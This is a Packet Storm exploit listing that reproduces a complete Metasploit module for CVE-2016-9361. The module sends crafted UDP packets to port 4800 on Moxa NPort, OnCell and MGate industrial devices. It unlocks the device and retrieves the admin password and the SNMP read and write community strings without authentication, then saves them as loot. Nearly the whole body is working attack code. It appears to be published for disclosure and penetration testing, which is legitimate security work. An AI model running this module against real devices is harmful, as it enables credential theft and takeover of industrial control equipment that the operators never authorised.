exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Moxa Device Credential Retrieval

Moxa Device Credential Retrieval
Posted Aug 31, 2024
Authored by K. Reid Wightman, Patrick DeSantis | Site metasploit.com

The Moxa protocol listens on 4800/UDP and will respond to broadcast or direct traffic. The service is known to be used on Moxa devices in the NPort, OnCell, and MGate product lines. Many devices with firmware versions older than 2017 or late 2016 allow admin credentials and SNMP read and read/write community strings to be retrieved without authentication. This Metasploit module is the work of Patrick DeSantis of Cisco Talos and K. Reid Wightman. Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5, and NPort 5110 firmware 2.6.

tags | exploit, udp, protocol
systems | cisco
advisories | CVE-2016-9361
SHA-256 | 993fe76383658c80bcdb06cee32dc9d065dae5ecbd2b15061a1c670b3fa96e6d

Moxa Device Credential Retrieval

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'Moxa Device Credential Retrieval',
'Description' => %q{
The Moxa protocol listens on 4800/UDP and will respond to broadcast
or direct traffic. The service is known to be used on Moxa devices
in the NPort, OnCell, and MGate product lines. Many devices with
firmware versions older than 2017 or late 2016 allow admin credentials
and SNMP read and read/write community strings to be retrieved without
authentication.

This module is the work of Patrick DeSantis of Cisco Talos and K. Reid
Wightman.

Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,
and NPort 5110 firmware 2.6.

},
'Author' =>
[
'Patrick DeSantis <p[at]t-r10t.com>',
'K. Reid Wightman <reid[at]revics-security.com>'
],

'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-9361'],
[ 'BID', '85965'],
[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
[ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02']
],
'DisclosureDate' => '2015-07-28'))

register_options([
# Moxa protocol listens on 4800/UDP by default
Opt::RPORT(4800),
OptEnum.new("FUNCTION", [true, "Pull credentials or enumerate all function codes", "CREDS",
[
"CREDS",
"ENUM"
]])
])
end

def fc() {
# Function codes
'ident' => "\x01", # identify device
'name' => "\x10", # get the "server name" of the device
'netstat' => "\x14", # network activity of the device
'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate
'date_time' => "\x1a", # get the device date and time
'time_server' => "\x1b", # get the time server of device
'unlock2' => "\x1e", # "unlock" 6xxx series devices
'snmp_read' => "\x28", # snmp community strings
'pass' => "\x29", # admin password of some devices
'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx
'enum' => "enum" # mock fc to catch "ENUM" option
}
end

def send_datagram(func, tail)
if fc[func] == "\x01"
# identify datagrams have a length of 8 bytes and no tail
datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00"
begin
udp_sock.put(datagram)
response = udp_sock.get(3)
rescue ::Timeout::Error
end
format_output(response)
# the last 16 bytes of the ident response are used as a form of auth for
# function codes other than 0x01
tail = response[8..24]
elsif fc[func] == "enum"
for i in ("\x02".."\x80") do
# start at 2 since 0 is invalid and 1 is ident
datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail
begin
udp_sock.put(datagram)
response = udp_sock.get(3)
end
if response[1] != "\x04"
vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}")
format_output(response)
end
end
else
# all non-ident datagrams have a len of 14 bytes and include a tail that
# is comprised of bytes obtained during the ident
datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail
begin
udp_sock.put(datagram)
response = udp_sock.get(3)
if valid_resp(fc[func], response) == -1
# invalid response, so don't bother trying to parse it
return
end
if fc[func] == "\x2c"
# try this, note it may fail
get_creds(response)
end
if fc[func] == "\x29"
# try this, note it may fail
get_pass(response)
end
if fc[func] == "\x28"
# try this, note it may fail
get_snmp_read(response)
end
rescue ::Timeout::Error
end
format_output(response)
end
end

# helper function for extracting strings from payload
def get_string(data)
str_end = data.index("\x00")
return data[0..str_end]
end

# helper function for extracting password from 0x29 FC response
def get_pass(response)
if response.length() < 200
print_error("get_pass failed: response not long enough")
return
end
pass = get_string(response[200..-1])
print_good("password retrieved: #{pass}")
store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass)
return pass
end

# helper function for extracting snmp community from 0x28 FC response
def get_snmp_read(response)
if response.length() < 24
print_error("get_snmp_read failed: response not long enough")
return
end
snmp_string = get_string(response[24..-1])
print_good("snmp community retrieved: #{snmp_string}")
store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string)
end

# helper function for extracting snmp community from 0x2C FC response
def get_snmp_write(response)
if response.length() < 64
print_error("get_snmp_write failed: response not long enough")
return
end
snmp_string = get_string(response[64..-1])
print_good("snmp read/write community retrieved: #{snmp_string}")
store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string)
end

# helper function for extracting snmp and pass from 0x2C FC response
# Note that 0x2C response is basically 0x28 and 0x29 mashed together
def get_creds(response)
if response.length() < 200
# attempt failed. device may not be unlocked
print_error("get_creds failed: response not long enough. Will fall back to other functions")
return -1
end
get_snmp_read(response)
get_snmp_write(response)
get_pass(response)
end

# helper function to verify that the response was actually for our request
# Simply makes sure the response function code has most significant bit
# of the request number set
# returns 0 if everything is ok
# returns -1 if functions don't match
def valid_resp(func, resp)
# get the query function code to an integer
qfc = func.unpack("C")[0]
# make the response function code an integer
rfc = resp[0].unpack("C")[0]
if rfc == (qfc + 0x80)
return 0
else
return -1
end
end

def format_output(resp)
# output response bytes as hexdump
vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}")
end
def check
connect_udp

begin
# send the identify command
udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00")
response = udp_sock.get(3)
end

if response
# A valid response is 24 bytes, starts with 0x81, and contains the values
# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
format_output(response)
return Exploit::CheckCode::Appears
end
else
vprint_error("Unknown response")
return Exploit::CheckCode::Unknown
end
cleanup

Exploit::CheckCode::Safe
end

def run
unless check == Exploit::CheckCode::Appears
print_error("Aborted because the target does not seem vulnerable.")
return
end

function = datastore["FUNCTION"]

connect_udp

# identify the device and get bytes for the "tail"
tail = send_datagram('ident', nil)

# get the "server name" from the device
send_datagram('name', tail)

# "unlock" the device
# We send both versions of the unlock FC, this doesn't seem
# to hurt anything on any devices tested
send_datagram('unlock1', tail)
send_datagram('unlock2', tail)

if function == "CREDS"
# grab data
send_datagram('all_creds', tail)
send_datagram('snmp_read', tail)
send_datagram('pass', tail)
elsif function == "ENUM"
send_datagram('enum', tail)
else
print_error("Invalid FUNCTION")
end

disconnect_udp
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close